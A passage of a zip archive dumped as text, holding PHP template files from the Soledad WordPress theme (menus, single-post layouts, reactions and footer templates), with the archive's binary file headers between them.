					if ( get_theme_mod( 'penci_menu_hbg_primary' ) ) {
						$custom_menu = get_theme_mod( 'penci_menu_hbg_primary' );
						$args        = array(
							'container'   => false,
							'menu'        => $custom_menu,
							'menu_class'  => 'menu menu-hgb-main',
							'fallback_cb' => 'penci_menu_fallback',
							'walker'      => new penci_menu_walker_nav_menu()
						);
					}
					wp_nav_menu( $args );
				}
				?>
				<?php if ( is_active_sidebar( 'menu_hamburger_2' ) ) { ?>
                    <div class="penci-menu-hbg-widgets2">
						<?php dynamic_sidebar( 'menu_hamburger_2' ); ?>
                    </div>
				<?php } ?>
            </div>
            <div class="penci-hbg-footer">
				<?php
				$footer_text      = get_theme_mod( 'penci_menu_hbg_footer_text' );
				$footer_text      = do_shortcode( $footer_text );
				$hide_footer_text = get_theme_mod( 'penci_menu_hbg_hideftext' );

				if ( ! $footer_text ) {
					$footer_text = penci_get_setting( 'penci_footer_copyright' );
				}
				if ( $footer_text && ! $hide_footer_text ) {
					echo '<div class="penci_menu_hbg_ftext">';
					echo $footer_text;
					echo '</div>';
				}
				?>
				<?php if ( ! $hide_social ): ?>
					<?php if ( get_theme_mod( 'penci_email_me' ) || get_theme_mod( 'penci_vk' ) || penci_get_setting( 'penci_facebook' ) || penci_get_setting( 'penci_twitter' ) || get_theme_mod( 'penci_google' ) || get_theme_mod( 'penci_instagram' ) || get_theme_mod( 'penci_pinterest' ) || get_theme_mod( 'penci_linkedin' ) || get_theme_mod( 'penci_flickr' ) || get_theme_mod( 'penci_behance' ) || get_theme_mod( 'penci_tumblr' ) || get_theme_mod( 'penci_youtube' ) || get_theme_mod( 'penci_rss' ) || get_theme_mod( 'penci_slack' ) ) : ?>
                        <div class="header-social sidebar-nav-social penci-hbg-social-<?php echo $social_style; ?>">
							<?php get_template_part( 'inc/modules/socials' ); ?>
                        </div>
					<?php endif; ?>
				<?php endif; ?>

            </div>
		<?php } ?>
    </div>
</div>
PK     N\x    "  template-parts/single-style-18.phpnu [        <?php
$sidebar_enable      = penci_single_sidebar_return();
$sidebar_position    = penci_get_posts_sidebar_class();
$sidebar_small_width = penci_single_smaller_content_enable();

// Check layout magazine
$single_magazine = 'container-single penci-single-style-18 penci-single-smore container-single-fullwidth hentry';
if ( get_theme_mod( 'penci_home_layout' ) == 'magazine-1' || get_theme_mod( 'penci_home_layout' ) == 'magazine-2' ) {
	$single_magazine .= ' container-single-magazine';
}

// Check class main content
$class_container_single = 'container container-single penci-single-style-18 penci-single-smore';
if ( $sidebar_enable ) {
	$class_container_single .= ' penci_sidebar';
	$class_container_single .= ' ' . $sidebar_position;
} else {
	$class_container_single .= ' penci_is_nosidebar';
	$single_magazine        .= ' penci_is_nosidebar';
}

if ( $sidebar_small_width ) {
	$class_container_single .= ' penci-single-smaller-width';
}

if ( ! get_theme_mod( 'penci_disable_lightbox_single' ) ) {
	$class_container_single .= ' penci-enable-lightbox';
}

$post_format      = get_post_format();
$show_post_format = true;
if ( get_theme_mod( 'penci_post_thumb' ) && ! in_array( $post_format, array( 'link', 'quote', 'gallery', 'video' ) ) ) {
	$class_container_single .= ' penci-single-pheader-noimg';
	$show_post_format       = false;
}

$postID            = get_the_ID();
$current_permalink = get_permalink( $postID );
$current_title     = get_the_title( $postID );
$infinite_load     = get_theme_mod( 'penci_loadnp_posts' ) ? get_theme_mod( 'penci_loadnp_posts' ) : false;
$prev_post_id      = $prev_post_url = $prev_post_title = $wrap_inficlass = $flag_infi = '';
$data_infiads      = get_theme_mod( 'penci_loadnp_ads' ) ? '<div class="penci-single-infiads">' . get_theme_mod( 'penci_loadnp_ads' ) . '</div>' : '';
if ( get_theme_mod( 'penci_loadnp_posts' ) ) {
	$prev_post = penci_get_next_prev_posts();
	$flag_infi = 'no_data';
	if ( ! empty( $prev_post ) && $prev_post != null && $prev_post != '' ) {
		$prev_post_id    = $prev_post->ID;
		$prev_post_url   = get_permalink( $prev_post_id );
		$prev_post_title = get_the_title( $prev_post_id );
		$wrap_inficlass  = ' penci-single-infiscroll';
		$flag_infi       = 'has_data';
	}
}
?>
    <div class="penci-single-wrapper<?php echo $wrap_inficlass; ?>"<?php if ( get_theme_mod( 'penci_loadnp_posts' ) && $data_infiads ) {
		echo ' data-infiads="' . htmlentities( $data_infiads ) . '"';
	} ?>>
        <div class="penci-single-block<?php if ( $flag_infi == 'no_data' ) {
			echo ' penci-single-infiblock-end';
		} ?>"<?php if ( get_theme_mod( 'penci_loadnp_posts' ) ): ?> data-prev-url="<?php echo esc_url( $prev_post_url ); ?>" data-current-url="<?php echo esc_url( $current_permalink ); ?>" data-post-title="<?php echo esc_attr( $current_title ); ?>" data-edit-post="<?php echo get_edit_post_link( $postID ); ?>" data-postid="<?php echo $postID; ?>"<?php endif; ?>>
            <div class="penci-single-pheader <?php echo( $single_magazine ); ?>">
				<?php
				if ( have_posts() ) :
					while ( have_posts() ) : the_post();
						if ( ! get_theme_mod( 'penci_move_title_bellow' ) ) {

							echo '<div class="penci-post-content-wrapper">';
							echo '<div class="container' . ( 'two-sidebar' == $sidebar_position ? ' two-sidebar' : '' ) . '">';
							echo '<div class="penci-post-content-wrapper-inner">';
							get_template_part( 'template-parts/single', 'breadcrumb-inner' );
							get_template_part( 'template-parts/single', 'entry-header' );
							echo '</div>';
							echo '</div>';
							echo '</div>';
						}
						if ( $show_post_format && has_post_thumbnail() ) {
							echo '<div class="penci-post-image-wrapper">';
							echo '<div class="container' . ( 'two-sidebar' == $sidebar_position ? ' two-sidebar' : '' ) . '">';
							get_template_part( 'template-parts/single', 'post-format' );
							echo '</div></div>';
						}

					endwhile;
				endif;
				?>
            </div>
            <div class="<?php echo $class_container_single; ?>">
				
					<div id="main"<?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): ?> class="penci-main-sticky-sidebar"<?php endif; ?>>
						<div class="theiaStickySidebar">
							<?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
								<?php penci_set_post_views( $post->ID ); ?>
								<?php get_template_part( 'template-parts/single', 'content-main' ); ?>
							<?php endwhile; endif; ?>
						</div>
					</div>
					<?php
					if ( get_theme_mod( 'penci_single_delayed_sidebar' ) && penci_is_mobile() ) {
						?>
						<div data-id="section-sidebar-<?php the_ID(); ?>"
							data-url="<?php echo esc_url( add_query_arg( [ 'penci_get_delayed_sections' => 'sidebar' ], get_permalink() ) ); ?>"
							class="pcfb-single-sections-delayed pc-content-delayed"></div>
						<?php
					} else {
						get_template_part( 'template-parts/single', 'sidebar' );
					}
					?>
				
            </div>
			<?php do_action( 'penci_action_after_post_content' ); ?>
        </div>
    </div>
<?php if ( get_theme_mod( 'penci_loadnp_posts' ) && $flag_infi != 'no_data' ) { ?>
    <div class="penci-ldsingle">
        <div class="penci-ldspinner">
            <div class="bounce1"></div>
            <div class="bounce2"></div>
            <div class="bounce3"></div>
        </div>
    </div>
<?php } ?>
<?php get_footer(); ?>PK     N\9_    &  template-parts/menu-hamburger-icon.phpnu [        <?php if( get_theme_mod(  'penci_menu_hbg_show' ) && ! get_theme_mod( 'penci_vertical_nav_show' ) ): ?>
<div class="penci-menuhbg-wapper penci-menu-toggle-wapper">
	<a href="#" class="penci-menuhbg-toggle">
		<span class="penci-menuhbg-inner">
			<i class="lines-button lines-button-double">
				<i class="penci-lines"></i>
			</i>
			<i class="lines-button lines-button-double penci-hover-effect">
				<i class="penci-lines"></i>
			</i>
		</span>
	</a>
</div>
<?php  endif; ?>
PK     N\VU    !  template-parts/single-sidebar.phpnu [        <?php
$single_layout = get_theme_mod( "penci_single_layout" );

if ( ! $single_layout ) {
	if ( get_theme_mod( 'penci_left_sidebar_posts' ) ) {
		$single_layout = 'left';
	}else{
		$single_layout = 'right';
	}
}

$single_layout_meta = penci_get_single_key( get_the_ID(), 'penci_post_sidebar_display' );
if ( $single_layout_meta ) {
	$single_layout = $single_layout_meta;
}

if ( in_array( $single_layout, array( 'left', 'right', 'two' ) ) ) {
	get_sidebar();
}
if ( $single_layout == 'two' ) {
	get_sidebar( 'left' );
}
PK     N\!](  (  #  template-parts/single-reactions.phpnu [        <div class="penci-post-reactions">
    <h4 class="penci-post-reactions-title"><?php echo penci_get_setting( 'penci_trans_reactions_title' ); ?></h4>
    <p class="penci-post-reactions-desc"><?php echo penci_get_setting( 'penci_trans_reactions_desc' ); ?></p>
	<?php
	$reactions = get_theme_mod( 'penci_post_reactions_items', [ 'like', 'love', 'haha', 'wow', 'sad', 'angry' ] );
	?>
    <ul>
		<?php foreach ( $reactions as $reaction ) : ?>
            <li class="penci-post-reaction-item penci-post-reaction-item-<?php echo esc_attr( $reaction ); ?>">
                <a href="#" class="penci-post-like penci-post-reaction penci-post-reaction-<?php echo esc_attr( $reaction ); ?>"
                   data-reaction="<?php echo esc_attr( $reaction ); ?>" data-post_id="<?php echo esc_attr( get_the_ID() ); ?>">
                    <img src="<?php echo PENCI_SOLEDAD_URL . '/images/emotions/' . $reaction . '.svg'; ?>"
                         alt="<?php echo esc_attr( $reaction ); ?>">
                </a>
                <span class="penci-reaction-count dt-share"
                      data-reaction="<?php echo esc_attr( $reaction ); ?>">
                    <?php echo esc_html( penci_getPostCountLike( get_the_ID(), $reaction ) ); ?>
                </span>
            </li>
		<?php endforeach; ?>
    </ul>
</div>PK     N\    "  template-parts/single-style-15.phpnu [        <?php
$sidebar_enable      = penci_single_sidebar_return();
$sidebar_position    = penci_get_posts_sidebar_class();
$sidebar_small_width = penci_single_smaller_content_enable();

// Check layout magazine
$single_magazine = 'container-single penci-single-style-15 penci-single-smore container-single-fullwidth hentry';
if ( get_theme_mod( 'penci_home_layout' ) == 'magazine-1' || get_theme_mod( 'penci_home_layout' ) == 'magazine-2' ) {
	$single_magazine .= ' container-single-magazine';
}

// Check class main content
$class_container_single = 'container container-single penci-single-style-15 penci-single-smore';
if ( $sidebar_enable ) {
	$class_container_single .= ' penci_sidebar';
	$class_container_single .= ' ' . $sidebar_position;
} else {
	$class_container_single .= ' penci_is_nosidebar';
	$single_magazine        .= ' penci_is_nosidebar';
}

if ( $sidebar_small_width ) {
	$class_container_single .= ' penci-single-smaller-width';
}

if ( ! get_theme_mod( 'penci_disable_lightbox_single' ) ) {
	$class_container_single .= ' penci-enable-lightbox';
}

$post_format      = get_post_format();
$show_post_format = true;
if ( get_theme_mod( 'penci_post_thumb' ) && ! in_array( $post_format, array( 'link', 'quote', 'gallery', 'video' ) ) ) {
	$class_container_single .= ' penci-single-pheader-noimg';
	$show_post_format       = false;
}

$postID            = get_the_ID();
$current_permalink = get_permalink( $postID );
$current_title     = get_the_title( $postID );
$infinite_load     = get_theme_mod( 'penci_loadnp_posts' ) ? get_theme_mod( 'penci_loadnp_posts' ) : false;
$prev_post_id      = $prev_post_url = $prev_post_title = $wrap_inficlass = $flag_infi = '';
$data_infiads      = get_theme_mod( 'penci_loadnp_ads' ) ? '<div class="penci-single-infiads">' . get_theme_mod( 'penci_loadnp_ads' ) . '</div>' : '';
if ( get_theme_mod( 'penci_loadnp_posts' ) ) {
	$prev_post = penci_get_next_prev_posts();
	$flag_infi = 'no_data';
	if ( ! empty( $prev_post ) && $prev_post != null && $prev_post != '' ) {
		$prev_post_id    = $prev_post->ID;
		$prev_post_url   = get_permalink( $prev_post_id );
		$prev_post_title = get_the_title( $prev_post_id );
		$wrap_inficlass  = ' penci-single-infiscroll';
		$flag_infi       = 'has_data';
	}
}
?>

<div class="penci-single-wrapper<?php echo $wrap_inficlass; ?>"<?php if ( get_theme_mod( 'penci_loadnp_posts' ) && $data_infiads ) {
	echo ' data-infiads="' . htmlentities( $data_infiads ) . '"';
} ?>>
    <div class="penci-single-block<?php if ( $flag_infi == 'no_data' ) {
		echo ' penci-single-infiblock-end';
	} ?>"<?php if ( get_theme_mod( 'penci_loadnp_posts' ) ): ?> data-prev-url="<?php echo esc_url( $prev_post_url ); ?>" data-current-url="<?php echo esc_url( $current_permalink ); ?>" data-post-title="<?php echo esc_attr( $current_title ); ?>" data-edit-post="<?php echo get_edit_post_link( $postID ); ?>" data-postid="<?php echo $postID; ?>"<?php endif; ?>>
        <div class="penci-single-pheader <?php echo( $single_magazine ); ?>">
			<?php
			if ( have_posts() ) :
				while ( have_posts() ) : the_post();
					echo '<div class="penci-post-image-wrapper">';
					echo '<div class="container' . ( 'two-sidebar' == $sidebar_position ? ' two-sidebar' : '' ) . '">';
					if ( ! get_theme_mod( 'penci_move_breadcrumbs' ) ) {
						get_template_part( 'template-parts/single', 'breadcrumb-inner' );
					}
					echo '<div class="post-format-entry-header">';
					echo '<div class="penci-sidebar-content">';
					if ( get_theme_mod( 'penci_move_breadcrumbs' ) ) {
						get_template_part( 'template-parts/single', 'breadcrumb-inner' );
					}
					get_template_part( 'template-parts/single', 'entry-header' );

					echo '</div>';
					if ( $show_post_format ) {
						echo '<div class="penci-single-s15-content">';
						get_template_part( 'template-parts/single', 'post-format' );
						echo '</div>';
					}
					echo '</div>';
					echo '</div>';
					echo '</div>';

				endwhile;
			endif;
			?>
        </div>
        <div class="<?php echo $class_container_single; ?>">
            <div id="main"<?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): ?> class="penci-main-sticky-sidebar"<?php endif; ?>>
                <div class="theiaStickySidebar">
					<?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
						<?php penci_set_post_views( $post->ID ); ?>
						<?php get_template_part( 'template-parts/single', 'content-main' ); ?>
					<?php endwhile; endif; ?>
                </div>
            </div>
			<?php
			if ( get_theme_mod( 'penci_single_delayed_sidebar' ) && penci_is_mobile() ) {
				?>
                <div data-id="section-sidebar-<?php the_ID(); ?>"
                     data-url="<?php echo esc_url( add_query_arg( [ 'penci_get_delayed_sections' => 'sidebar' ], get_permalink() ) ); ?>"
                     class="pcfb-single-sections-delayed pc-content-delayed"></div>
				<?php
			} else {
				get_template_part( 'template-parts/single', 'sidebar' );
			}
			?>
        </div>
		<?php do_action( 'penci_action_after_post_content' ); ?>
    </div>
</div>
<?php if ( get_theme_mod( 'penci_loadnp_posts' ) && $flag_infi != 'no_data' ) { ?>
    <div class="penci-ldsingle">
        <div class="penci-ldspinner">
            <div class="bounce1"></div>
            <div class="bounce2"></div>
            <div class="bounce3"></div>
        </div>
    </div>
<?php } ?>
<?php get_footer(); ?>
PK     N\       template-parts/footer/footer.phpnu [        <?php
/**
 * This is footer template of Soledad theme
 *
 * @package WordPress
 * @since   1.0
 */

if ( ( function_exists( 'is_shop' ) && is_shop() ) || ( function_exists( 'is_product_category' ) && is_product_category() ) || ( function_exists( 'is_product_tag' ) && is_product_tag() ) || ( function_exists( 'is_product' ) && is_product() ) || ( function_exists( 'penci_is_product_attribute_archive' ) && penci_is_product_attribute_archive() ) ) {
	echo '</div>';
}

$penci_hide_footer  = '';
$hide_fwidget       = get_theme_mod( 'penci_footer_widget_area' );
$footer_layout      = get_theme_mod( 'penci_footer_widget_area_layout' ) ? get_theme_mod( 'penci_footer_widget_area_layout' ) : 'style-1';
$penci_footer_width = get_theme_mod( 'penci_footer_width' );

if ( is_page() ) {
	$penci_hide_footer = get_post_meta( get_the_ID(), 'penci_page_hide_footer', true );

	$pmeta_page_footer = get_post_meta( get_the_ID(), 'penci_pmeta_page_footer', true );
	if ( isset( $pmeta_page_footer['penci_footer_style'] ) && $pmeta_page_footer['penci_footer_style'] ) {
		$footer_layout = $pmeta_page_footer['penci_footer_style'];
	}

	if ( isset( $pmeta_page_footer['penci_hide_fwidget'] ) ) {
		if ( 'yes' == $pmeta_page_footer['penci_hide_fwidget'] ) {
			$hide_fwidget = true;
		} elseif ( 'no' == $pmeta_page_footer['penci_hide_fwidget'] ) {
			$hide_fwidget = false;
		}
	}

	if ( isset( $pmeta_page_footer['penci_footer_width'] ) && $pmeta_page_footer['penci_footer_width'] ) {
		$penci_footer_width = $pmeta_page_footer['penci_footer_width'];
	}
} elseif ( is_single() ) {
	$penci_hide_footer = penci_is_hide_footer();
}

$footer_logo_url = esc_url( home_url( '/' ) );
if ( get_theme_mod( 'penci_custom_url_logo_footer' ) ) {
	$footer_logo_url = get_theme_mod( 'penci_custom_url_logo_footer' );
}
if ( ! $penci_hide_footer ) : ?>
    <div class="clear-footer"></div>

	<?php
	if ( get_theme_mod( 'penci_footer_adsense' ) ) :
		echo '<div class="container penci-google-adsense penci-google-adsense-footer">' . do_shortcode( get_theme_mod( 'penci_footer_adsense' ) ) . '</div>';
	endif;
	?>
	<?php
	// footer builder start here
	if ( function_exists( 'penci_can_render_footer' ) && penci_can_render_footer() ) {
		penci_footer_builder_content();
	} else {
		if ( get_theme_mod( 'penci_footer_delayed' ) ) {
			$footer_settings = [
				'footer_logo_url' => $footer_logo_url,
				'penci_footer_width' => $penci_footer_width,
				'footer_layout' => $footer_layout,
				'hide_fwidget' => $hide_fwidget,
			];
			echo '<div class="pcfb-footer-delayed pc-content-delayed" data-type="template-footer" data-settings=\''.htmlentities( json_encode( $footer_settings ), ENT_QUOTES, "UTF-8" ).'\'></div>';
		} else {
			include PENCI_SOLEDAD_DIR . '/template-parts/footer/footer-main.php';
		}
	}
endif; // Hide footer ?>

</div><!-- End .wrapper-boxed -->PK     N\O
@  
@  %  template-parts/footer/footer-main.phpnu [        <?php
$footerreorder       = get_theme_mod( 'penci_footer_order_sections' ) ? get_theme_mod( 'penci_footer_order_sections' ) : 'widgets-instagram-signupform-footersocial';
$social_end_array    = array(
    'widgets-instagram-signupform-footersocial',
    'widgets-signupform-instagram-footersocial',
    'instagram-widgets-signupform-footersocial',
    'instagram-signupform-widgets-footersocial',
    'signupform-widgets-instagram-footersocial',
    'signupform-instagram-widgets-footersocial',
);
$footerreorder_array = explode( '-', $footerreorder );
if ( ! empty( $footerreorder_array ) ) {
    foreach ( $footerreorder_array as $ftsec ) {
        if ( $ftsec == 'widgets' && ! $hide_fwidget ) :
            ?>
            <?php
            if ( ( in_array(
                       $footer_layout,
                       array(
                           'style-2',
                           'style-3',
                           'style-8',
                           'style-9',
                           'style-10',
                       )
                   ) && ( is_active_sidebar( 'footer-1' ) || is_active_sidebar( 'footer-2' ) ) ) || ( in_array(
                                                                                                          $footer_layout,
                                                                                                          array(
                                                                                                              'style-1',
                                                                                                              'style-5',
                                                                                                              'style-6',
                                                                                                              'style-7',
                                                                                                          )
                                                                                                      ) && ( is_active_sidebar( 'footer-1' ) || is_active_sidebar( 'footer-2' ) || is_active_sidebar( 'footer-3' ) ) ) || ( $footer_layout == 'style-4' && ( is_active_sidebar( 'footer-1' ) || is_active_sidebar( 'footer-2' ) || is_active_sidebar( 'footer-3' ) || is_active_sidebar( 'footer-4' ) ) ) ) :
                ?>
                <div id="widget-area"
                    <?php
                    if ( get_theme_mod( 'penci_footer_widget_bg_image' ) ) :
                        echo ' class="penci-lazy" data-bgset="' . get_theme_mod( 'penci_footer_widget_bg_image' ) . '"';
                    endif;
                    ?>
                >
                    <div class="container<?php echo esc_attr( $penci_footer_width ? ' container-' . $penci_footer_width : '' ); ?>">
                        <?php
                        if ( in_array(
                            $footer_layout,
                            array(
                                'style-1',
                                'style-5',
                                'style-6',
                                'style-7',
                            )
                        ) ) {
                            ?>
                            <div class="footer-widget-wrapper footer-widget-<?php echo $footer_layout; ?>">
                                <?php dynamic_sidebar( 'footer-1' ); ?>
                            </div>
                            <div class="footer-widget-wrapper footer-widget-<?php echo $footer_layout; ?>">
                                <?php dynamic_sidebar( 'footer-2' ); ?>
                            </div>
                            <div class="footer-widget-wrapper footer-widget-<?php echo $footer_layout; ?> last">
                                <?php dynamic_sidebar( 'footer-3' ); ?>
                            </div>
                            <?php
                        } elseif ( in_array(
                            $footer_layout,
                            array(
                                'style-2',
                                'style-3',
                                'style-8',
                                'style-9',
                                'style-10',
                            )
                        ) ) {
                            ?>
                            <div class="footer-widget-wrapper footer-widget-<?php echo $footer_layout; ?>">
                                <?php dynamic_sidebar( 'footer-1' ); ?>
                            </div>
                            <div class="footer-widget-wrapper footer-widget-<?php echo $footer_layout; ?> last">
                                <?php dynamic_sidebar( 'footer-2' ); ?>
                            </div>
                        <?php } elseif ( $footer_layout == 'style-4' ) { ?>
                            <div class="footer-widget-wrapper footer-widget-<?php echo $footer_layout; ?>">
                                <?php dynamic_sidebar( 'footer-1' ); ?>
                            </div>
                            <div class="footer-widget-wrapper footer-widget-<?php echo $footer_layout; ?>">
                                <?php dynamic_sidebar( 'footer-2' ); ?>
                            </div>
                            <div class="footer-widget-wrapper footer-widget-<?php echo $footer_layout; ?>">
                                <?php dynamic_sidebar( 'footer-3' ); ?>
                            </div>
                            <div class="footer-widget-wrapper footer-widget-<?php echo $footer_layout; ?> last">
                                <?php dynamic_sidebar( 'footer-4' ); ?>
                            </div>
                        <?php } ?>
                    </div>
                </div>
            <?php endif; ?>
        <?php
        endif;
        if ( $ftsec == 'instagram' && is_active_sidebar( 'footer-instagram' ) ) :
            ?>
            <div class="footer-instagram footer-instagram-html
            <?php
            if ( get_theme_mod( 'penci_footer_insta_title_overlay' ) ) :
                echo ' penci-insta-title-overlay';
            endif;
            ?>
            ">
                <?php dynamic_sidebar( 'footer-instagram' ); ?>
            </div>
        <?php
        endif;
        if ( $ftsec == 'signupform' && is_active_sidebar( 'footer-signup-form' ) ) :
            ?>
            <div class="footer-subscribe">
                <?php dynamic_sidebar( 'footer-signup-form' ); ?>
            </div>
        <?php
        endif;
        if ( $ftsec == 'footersocial' && ! get_theme_mod( 'penci_footer_social' ) && ! in_array( $footerreorder, $social_end_array ) ) :
            ?>
            <div class="penci-footer-social-media penci-footer-social-moved
            <?php
            if ( get_theme_mod( 'penci_footer_social_around' ) ) :
                echo ' footer-social-remove-circle';
            endif;
            if ( get_theme_mod( 'penci_footer_social_drop_line' ) ) :
                echo ' footer-social-drop-line';
            endif;
            if ( get_theme_mod( 'penci_footer_disable_radius_social' ) ) :
                echo ' footer-social-remove-radius';
            endif;
            if ( get_theme_mod( 'penci_footer_social_remove_text' ) ) :
                echo ' footer-social-remove-text';
            endif;
            ?>
            ">
                <div class="container<?php echo esc_attr( $penci_footer_width ? ' container-' . $penci_footer_width : '' ); ?>">
                    <div class="footer-socials-section
                    <?php
                    if ( get_theme_mod( 'penci_footer_brand_social' ) && ! get_theme_mod( 'penci_footer_social_around' ) ) {
                        echo ' penci-social-colored';
                    } elseif ( get_theme_mod( 'penci_footer_brand_social' ) && get_theme_mod( 'penci_footer_social_around' ) ) {
                        echo ' penci-social-textcolored';
                    }
                    ?>
                    ">
                        <ul class="footer-socials">
                            <?php
                            $social_data         = penci_social_media_array();
                            $custom_social_icons = get_option( 'penci_custom_socials', array() );

                            foreach ( $social_data as $name => $sdata ) {
                                if ( $sdata[0] ) {
                                    $icon_html = penci_icon_by_ver( $sdata[1] );
                                    $name      = isset( $custom_social_icons[ $name ]['name'] ) ? $custom_social_icons[ $name ]['name'] : $name;
                                    ?>
                                    <li><a href="<?php echo esc_url( do_shortcode( $sdata[0] ) ); ?>"
                                           aria-label="<?php echo ucwords( $name ); ?>" <?php echo penci_reltag_social_icons(); ?>
                                           target="_blank"><?php echo $icon_html; ?>
                                            <span><?php echo ucwords( $name ); ?></span></a></li>
                                    <?php
                                }
                            }
                            ?>
                        </ul>
                    </div>
                </div>
            </div>
        <?php
        endif;
    }
}
$ftuser_bg = '';
if ( get_theme_mod( 'penci_footer_copyright_bg_image' ) ) :
    $ftuser_bg = ' data-bgset="' . get_theme_mod( 'penci_footer_copyright_bg_image' ) . '"';
endif;
?>
<footer id="footer-section"
        class="penci-footer-social-media
        <?php
        if ( get_theme_mod( 'penci_footer_social_around' ) ) :
            echo ' footer-social-remove-circle';
        endif;
        if ( get_theme_mod( 'penci_footer_social_drop_line' ) ) :
            echo ' footer-social-drop-line';
        endif;
        if ( get_theme_mod( 'penci_footer_disable_radius_social' ) ) :
            echo ' footer-social-remove-radius';
        endif;
        if ( get_theme_mod( 'penci_footer_social_remove_text' ) ) :
            echo ' footer-social-remove-text';
        endif;
        if ( $ftuser_bg ) :
            echo ' penci-lazy';
        endif;
        ?>
        "
    <?php
        echo $ftuser_bg;
    ?>
    <?php
    if ( ! get_theme_mod( 'penci_schema_wpfoot' ) ) :
        ?>
        itemscope itemtype="https://schema.org/WPFooter"<?php endif; ?>>
    <div class="container<?php echo esc_attr( $penci_footer_width ? ' container-' . $penci_footer_width : '' ); ?>">
        <?php if ( ! get_theme_mod( 'penci_footer_social' ) && in_array( $footerreorder, $social_end_array ) ) : ?>
            <div class="footer-socials-section
            <?php
            if ( get_theme_mod( 'penci_footer_brand_social' ) && ! get_theme_mod( 'penci_footer_social_around' ) ) {
                echo ' penci-social-colored';
            } elseif ( get_theme_mod( 'penci_footer_brand_social' ) && get_theme_mod( 'penci_footer_social_around' ) ) {
                echo ' penci-social-textcolored';
            }
            ?>
            ">
                <ul class="footer-socials">
                    <?php
                    $custom_social_icons = get_option( 'penci_custom_socials', array() );
                    $social_data         = penci_social_media_array();
                    foreach ( $social_data as $name => $sdata ) {
                        if ( $sdata[0] ) {
                            $icon_html = penci_icon_by_ver( $sdata[1] );
                            $name      = isset( $custom_social_icons[ $name ]['name'] ) ? $custom_social_icons[ $name ]['name'] : $name;
                            ?>
                            <li><a href="<?php echo esc_url( do_shortcode( $sdata[0] ) ); ?>"
                                   aria-label="<?php echo ucwords( $name ); ?>" <?php echo penci_reltag_social_icons(); ?>
                                   target="_blank"><?php echo $icon_html; ?>
                                    <span><?php echo ucwords( $name ); ?></span></a>
                            </li>
                            <?php
                        }
                    }
                    ?>
                </ul>
            </div>
        <?php endif; ?>
        <?php if ( get_theme_mod( 'penci_related_post_popup' ) ) : ?>
            <div class="penci-flag-rlt-popup"></div><?php endif; ?>
        <?php if ( ( get_theme_mod( 'penci_footer_logo' ) && ! get_theme_mod( 'penci_hide_footer_logo' ) ) || get_theme_mod( 'penci_footer_copyright' ) || ! get_theme_mod( 'penci_go_to_top' ) || get_theme_mod( 'penci_footer_menu' ) ) : ?>
            <div class="footer-logo-copyright
            <?php
            if ( ! get_theme_mod( 'penci_footer_logo' ) || get_theme_mod( 'penci_hide_footer_logo' ) ) :
                echo ' footer-not-logo';
            endif;
            ?>
            <?php
            if ( get_theme_mod( 'penci_go_to_top' ) ) :
                echo ' footer-not-gotop';
            endif;
            ?>
">
                <?php
                if ( get_theme_mod( 'penci_footer_logo' ) && ! get_theme_mod( 'penci_hide_footer_logo' ) ) :
                    $logo_src = get_theme_mod( 'penci_footer_logo' );
                    $flogow = penci_get_image_data_basedurl( $logo_src, 'w' );
                    $flogoh = penci_get_image_data_basedurl( $logo_src, 'h' );
                    ?>
                    <div id="footer-logo">
                        <a href="<?php echo $footer_logo_url; ?>">
                            <?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                                <img class="penci-lazy"
                                     src="<?php echo penci_holder_image_base( $flogow, $flogoh ); ?>"
                                     data-src="<?php echo esc_url( get_theme_mod( 'penci_footer_logo' ) ); ?>"
                                     alt="<?php esc_html_e( 'Footer Logo', 'soledad' ); ?>"
                                     width="<?php echo $flogow; ?>" height="<?php echo $flogoh; ?>"/>
                            <?php } else { ?>
                                <img src="<?php echo esc_url( get_theme_mod( 'penci_footer_logo' ) ); ?>"
                                     alt="<?php esc_html_e( 'Footer Logo', 'soledad' ); ?>"
                                     width="<?php echo $flogow; ?>" height="<?php echo $flogoh; ?>"/>
                            <?php } ?>
                        </a>
                    </div>
                <?php endif; ?>

                <?php if ( get_theme_mod( 'penci_footer_menu' ) ) : ?>
                    <div class="footer-menu-wrap" role="navigation"
                        <?php
                        if ( ! get_theme_mod( 'penci_schema_sitenav' ) ) :
                            ?>
                            itemscope
                            itemtype="https://schema.org/SiteNavigationElement"<?php endif; ?>>
                        <?php
                        /**
                         * Display main navigation
                         */
                        wp_nav_menu(
                            array(
                                'container'      => false,
                                'theme_location' => 'footer-menu',
                                'menu_class'     => 'footer-menu',
                            )
                        );
                        ?>
                    </div>
                <?php endif; /* End check if enable footer menu */ ?>

                <?php if ( penci_get_setting( 'penci_footer_copyright' ) ) : ?>
                    <div id="footer-copyright">
                        <p><?php echo penci_get_setting( 'penci_footer_copyright' ); ?></p>
                    </div>
                <?php endif; ?>
                <?php if ( ! get_theme_mod( 'penci_go_to_top' ) ) : ?>
                    <div class="go-to-top-parent"><a aria-label="Go to top" href="#" class="go-to-top"><span><i
                                        class="penciicon-up-chevron"></i> <br><?php echo penci_get_setting( 'penci_trans_back_to_top' ); ?></span></a>
                    </div>
                <?php endif; ?>
            </div>
        <?php endif; ?>
    </div>
</footer>PK     N\&ӢL    "  template-parts/single-style-22.phpnu [        <?php
$sidebar_enable      = penci_single_sidebar_return();
$sidebar_position    = penci_get_posts_sidebar_class();
$sidebar_small_width = penci_single_smaller_content_enable();

// Check layout magazine
$single_magazine = 'container container-single penci-single-style-22 penci-single-smore container-single-fullwidth hentry';
if ( get_theme_mod( 'penci_home_layout' ) == 'magazine-1' || get_theme_mod( 'penci_home_layout' ) == 'magazine-2' ) {
	$single_magazine .= ' container-single-magazine';
}

// Check class main content
$class_container_single = 'container container-single penci-single-style-22 penci-single-smore';
if ( $sidebar_enable ) {
	$class_container_single .= ' penci_sidebar';
	$class_container_single .= ' ' . $sidebar_position;

	$single_magazine .= ' ' . $sidebar_position;
} else {
	$class_container_single .= ' penci_is_nosidebar';
	$single_magazine        .= ' penci_is_nosidebar';
}

if ( $sidebar_small_width ) {
	$class_container_single .= ' penci-single-smaller-width';
}

if ( ! get_theme_mod( 'penci_disable_lightbox_single' ) ) {
	$class_container_single .= ' penci-enable-lightbox';
}

if ( ! get_theme_mod( 'penci_disable_lightbox_single' ) ) {
	$class_container_single .= ' penci-enable-lightbox';
}
$post_format = get_post_format();

$post_format      = get_post_format();
$show_post_format = true;
